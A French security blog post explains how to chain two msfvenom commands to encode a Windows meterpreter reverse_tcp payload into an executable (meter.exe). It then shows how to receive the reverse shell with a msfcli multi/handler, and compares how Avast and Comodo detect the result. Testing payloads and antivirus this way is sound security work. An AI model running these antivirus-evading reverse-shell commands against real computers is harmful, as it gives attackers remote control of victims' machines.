Pour le premier msfvenom on spécifie la payload, ici un reverse_tcp pour meterpreter, au format raw, l’encodage (et son itération si l’envie vous en prend ;) ), et pour le second on fournit la platforme et l’architecture, ainsi que notre encodage et le format (du moment que l’on reste en raw on devrait pouvoir les piper).

  1. msfvenom -p windows/meterpreter/reverse_tcp -f raw -e x86/jmp_call_additive LHOST=<NOTRE IP> | msfvenom -e x86/shikata_ga_nai -a x86 –platform windows -f exe > meter.exe

Et un executable devrait ressortir, ici meter.exe (si cet executable est lancé sur le PC d’une victime (volontaire ;) ), son pc devrait essayer de se connecter sur 192.168.1.12 et sur le port 4444 pour lancer une session meterpreter).

La récupération de la session se fait en utilisant le multi/handler
soit en passant par msfconsole :

soit plus rapidement en passant par msfcli (beaucoup plus rapide) :

  1. msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=192.168.1.12 E

Donc voilà, j’ai peut être pu me tromper dans mon précédent article, mais maintenant, c’est officiel, on peut piper du venom ^^.

Bon amusement ;)

Petite note sur les anti-virus suite à ce test :
Avant ce test, je comptais utiliser Comodo, l’antivirus/firewall (avec HIPS et sandboxing) qui semblait pas mal efficace, pour remplacer avast qui me semblait pas au top, après le test des encodages de payloads je pense que je vais rester sur avast : il détecte direct la payloads, alors que comodo ne dit rien du tout :s … (et comodo est plutôt lourd et à tendance à tout sandboxer).

A noter que la dernière version d’Avast comporte un système de sandboxing, reste à voir si il est performant … celui de Comodo est lourd à souhait :s.

Articles similaires :

Copyright © 2008-2011 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> 0 http://blog.gaetan-grigis.eu/securite/metasploit-utilisation-de-msfvenom-pour-encoder-les-payloads/